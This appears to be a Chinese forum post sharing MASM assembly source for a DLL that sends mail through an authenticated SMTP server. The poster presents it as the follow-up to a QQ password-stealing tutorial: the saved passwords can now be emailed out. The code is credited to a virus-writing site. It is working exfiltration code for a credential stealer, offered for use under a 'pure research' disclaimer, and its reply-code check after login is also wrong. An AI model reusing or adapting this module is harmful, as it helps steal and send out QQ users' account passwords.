既然大家对QQ那么支持.我就把这个也放上来吧. 我那个QQ教程里面讲的是把密码存放在本地文件中.现在,你可以发到网上了...

    服务器返回的验证正确的信息好象有些问题.不过不影响使用.

    支持密码验证,不过不支持匿名发送.   
   
     现在崇尚纯"技术研究",所以大家也不要跟我要这个库和具体如何放在QQ里面了.我也没做过.....

     另外感谢风水,虽然他不来这里看帖子.

;***********************************************
;程序名称：ESmtp发送动态连接库
;作者:nbw
;日期:2004-5-20
;出处:http://www.vxer.com
;注意事项：如欲转载，请保持本程序的完整，并注明
;本动态连接库由老罗(www.luocong.com)的LCMailer改编而来.在此表示感谢
;一并感谢EA和[NE365]的所有弟兄
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\wsock32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Base64Encode         proto    :DWORD, :DWORD, :DWORD

.const
MAXNUMequ2048
MAXFILESIZEequ87380
.data
szCaption            db    "ESmtp dull by nbw, 2004-5-20", 0;对话框提示信息
szErrNoDll           db    "装载winsock.dll时出错！", 0;加载winsock库出错.
szErrSocket          db    "建立socket时出错！", 0
szErrConnect         db    "进行连接时出错！", 0
szErrAuth            db    "用户名/密码 验证失败！", 0;用户验证错误
szSuccessSend        db    "发送成功！", 0
szHeloFmt            db    "EHLO %s", 13, 10, 0
szAuth               db    "AUTH LOGIN", 13, 10, 0;AUTH LOGIN命令.告诉服务器，要进行验证了。
szUsernameFmt        db    "%s", 13, 10, 0;用户名格式
szPasswordFmt        db    "%s", 13, 10, 0;用户密码格式
szHeaderFmt          db    "MAIL FROM:%s", 13, 10;邮件发送者和接收者格式
                    db    "RCPT TO:%s", 13, 10, 0
szBody1Fmt           db    "DATA", 13, 10
                    db    "From:%s", 13, 10
                    db    "To:%s", 13, 10
                    db    "Subject:%s", 13, 10
                    db    "MIME_Version:1.0", 13, 10
                    db    "Content-type:multipart/mixed;Boundary=nboy.cnwlt.com", 13, 10, 13, 10
                    db    "--nboy.cnwlt.com", 13, 10
                    db    "Content-type:text/plain;Charset=GB2312", 13, 10
                    db    "Content-Transfer-Encoding:8bit", 13, 10, 13, 10
                    db    "%s", 13, 10, 13, 10, 0
;szBody2              db    "--nboy.cnwlt.com", 13, 10, 0
;szBody3              db    "Content-Type:application/octet-stream;Name=", 0
;szBody4              db    13, 10, 0
;szBody5              db    "Content-Disposition:attachment;FileName=", 0
;szBody6              db    13, 10, 0
;szBody7              db    "Content-Transfer-Encoding:Base64", 13, 10, 13, 10, 0
;szBody8              db    13, 10, 13, 10, 0
szBodyEnd            db    "--nboy.cnwlt.com--"
                    db    13, 10, "." , 13, 10, 0
szQuit               db    "QUIT", 13, 10, 0
reply_val            dd    0;处理服务器返回的消息.判断用户名和密码是否正确
wsadata              WSADATA        <>;用于Winsock函数,进行初始化
sin                  sockaddr_in    <>

;Base64 -> ASCII mapping table
base64_alphabet      db    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

.data?
hInstance            dd    ?
hSocket              dd    ?;Socket句柄
pContent     dd   ?;保存发送主体的内存的句柄
szBuffer             db    MAXNUM    dup(?);
szBuf1               db    MAXNUM    dup(?);处理用户名,用户密码等中间变量
szBuf2               db    MAXNUM    dup(?);
szBuf3               db    MAXNUM    dup(?);
szHelo               db    MAXNUM    dup(?);定义Hello变量,用于以后发送EHLO <Domain>\r\n命令
szUsername           db    MAXNUM    dup(?);用户名
szPassword           db    MAXNUM    dup(?);用户密码
szHeader             db    MAXNUM    dup(?);邮件发送者和接收者

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; dll 的入口函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DllEntryproc_hInstance,_dwReason,_dwReserved

moveax,TRUE
ret

DllEntryEndp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; dll 的导出函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Esmtpproc_hWnd,_lpSmtpServer,_lpUserName,_lpPassword,_lpFrom,_lpTo,_lpSubject,_lpContent
;_lpUserName是Base64_Username\r\n 中的用户名
;_lpPassword是Base64_Password\r\n 中的用户密码
;_lpFrom是发送者邮件._lpTo是收邮件者地址
;_lpSubject是邮件主题. _lpContent是邮件内容.
;以下是初始化 winsock ：
pushad
;*********************************************
nop;:1000101090                      nop
nop
nop
;*********************************************
;以下是初始化 winsock ：
invoke WSAStartup, 101h, addr wsadata
.if eax != NULL
invoke MessageBox, _hWnd, addr szErrNoDll, addr szCaption, MB_OK
.else
invoke socket, AF_INET, SOCK_STREAM, 0
.if eax == INVALID_SOCKET
invoke MessageBox, _hWnd, addr szErrSocket, addr szCaption, MB_OK or MB_ICONHAND
.else
mov hSocket, eax
mov sin.sin_family, AF_INET
invoke htons, 25
mov sin.sin_port, ax

invoke gethostbyname, _lpSmtpServer;获取邮件服务器
.if eax==0
popad
xoreax,eax
ret
.endif

mov eax, [eax + 12]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax
invoke connect, hSocket, addr sin, sizeof sin
.if eax!=0
popad
xoreax,eax
ret
.endif
.if eax < 0
invoke MessageBox, _hWnd, addr szErrConnect, addr szCaption, MB_OK or MB_ICONHAND;连结未成功
popad
xoreax,eax
ret
.else
invoke RtlZeroMemory, addr szBuffer, MAXNUM;分配全零内存空间.
invoke RtlZeroMemory, addr szBuf1, MAXNUM
invoke RtlZeroMemory, addr szBuf2, MAXNUM
invoke RtlZeroMemory, addr szBuf3, MAXNUM
;发送 Helo ：
invoke wsprintf, addr szHelo, addr szHeloFmt, _lpSmtpServer
invoke lstrlen, addr szHelo
invoke send, hSocket, addr szHelo, eax, 0
invoke RtlZeroMemory, addr szBuffer, MAXNUM

;发送 Auth ：
invoke lstrlen, addr szAuth
invoke send, hSocket, addr szAuth, eax, 0

;发送 username:
invoke lstrlen, _lpUserName;获取UserName的长度
invoke Base64Encode,  _lpUserName, addr szBuf1, eax
invoke wsprintf, addr szUsername, addr szUsernameFmt, addr szBuf1
invoke lstrlen, addr szUsername
invoke send, hSocket, addr szUsername, eax, 0
invoke RtlZeroMemory, addr szBuf1, MAXNUM
invoke RtlZeroMemory, addr szBuffer, MAXNUM

;发送 password:
invoke lstrlen, _lpPassword;获取密码的长度
invoke Base64Encode, _lpPassword, addr szBuf1, eax
invoke wsprintf, addr szPassword, addr szPasswordFmt, addr szBuf1
invoke lstrlen, addr szPassword
invoke send, hSocket, addr szPassword, eax, 0
invoke RtlZeroMemory, addr szBuf1, MAXNUM
invoke RtlZeroMemory, addr szBuffer, MAXNUM

;获得服务器返回的消息：
invoke RtlZeroMemory, addr szBuffer, MAXNUM
invoke recv, hSocket, addr szBuffer, MAXNUM, 0

;得到返回消息的前三个数字：
mov byte ptr [szBuffer + 3], 0
invoke atodw, addr szBuffer
mov reply_val, eax
invoke RtlZeroMemory, addr szBuffer, MAXNUM

;判断用户名/密码是否正确：
.if reply_val != 220
invoke MessageBox, _hWnd, addr szErrAuth, addr szCaption, MB_OK or MB_ICONHAND
popad
xoreax,eax
ret
.else
;发送 Header ：
invoke wsprintf, addr szHeader, addr szHeaderFmt,  _lpFrom,  _lpTo
invoke lstrlen, addr szHeader
invoke send, hSocket, addr szHeader, eax, 0

;准备好 Body1 的内容：
;分配内存：
;（这里为了方便，只分配了 10000000 个字节，
;其实应该根据实际需要进行动态分配，否则有可能会导致错误）
invoke LocalAlloc, LPTR, 10000000
mov pContent, eax
invoke wsprintf, pContent, addr szBody1Fmt, _lpFrom , _lpTo , _lpSubject, _lpContent

;连接 "\r\n.\r\n" 到 Content 中：
invoke lstrcat, pContent, addr szBodyEnd

;发送 Content ：
invoke lstrlen, pContent
invoke send, hSocket, pContent, eax, 0
invoke LocalFree, pContent
;发送“QUIT”：
invoke send, hSocket, addr szQuit, 4, 0
.endif
.endif
invoke closesocket, hSocket;关闭Socket连接
.endif
invoke WSACleanup;释放
.endif
popad
moveax,TRUE
ret
_Esmtpendp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;**********************************************************
;函数功能：进行Base64编码
;入口参数：
;    source            =    传入的字符串
;    sourcelen        =    传入的字符串的长度
;出口参数：
;    destination        =    返回的编码
;**********************************************************
Base64Encode    proc    uses ebx edi esi source:DWORD, destination:DWORD, sourcelen:DWORD

   mov  esi, source
   mov  edi, destination
@@base64loop:
   xor eax, eax
   .if sourcelen == 1
lodsb                        ;source ptr + 1
mov ecx, 2                   ;bytes to output = 2
       mov edx, 03D3Dh              ;padding = 2 byte
       dec sourcelen                ;length - 1
   .elseif sourcelen == 2
       lodsw                        ;source ptr + 2
       mov ecx, 3                   ;bytes to output = 3
       mov edx, 03Dh                ;padding = 1 byte
       sub sourcelen, 2             ;length - 2
   .else
       lodsd
       mov ecx, 4                   ;bytes to output = 4
       xor edx, edx                 ;padding = 0 byte
       dec esi                      ;source ptr + 3 (+4-1)
       sub sourcelen, 3             ;length - 3
   .endif

   xchg al,ah                       ;flip eax completely
   rol  eax, 16                     ;can this be done faster
   xchg al,ah

   @@:
   push  eax
   and   eax, 0FC000000h            ;get the last 6 high bits
   rol   eax, 6                     ;rotate them into al
   mov   al,  byte ptr [offset base64_alphabet + eax]        ;get encode character
   stosb                            ;write to destination
   pop   eax
   shl   eax, 6                     ;shift left 6 bits
   dec   ecx
   jnz   @B                         ;loop

   cmp   sourcelen, 0
   jnz   @@base64loop               ;main loop

   mov   eax, edx                   ;add padding and null terminate
   stosd

   ret
Base64Encode    endp

EndDllEntry

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！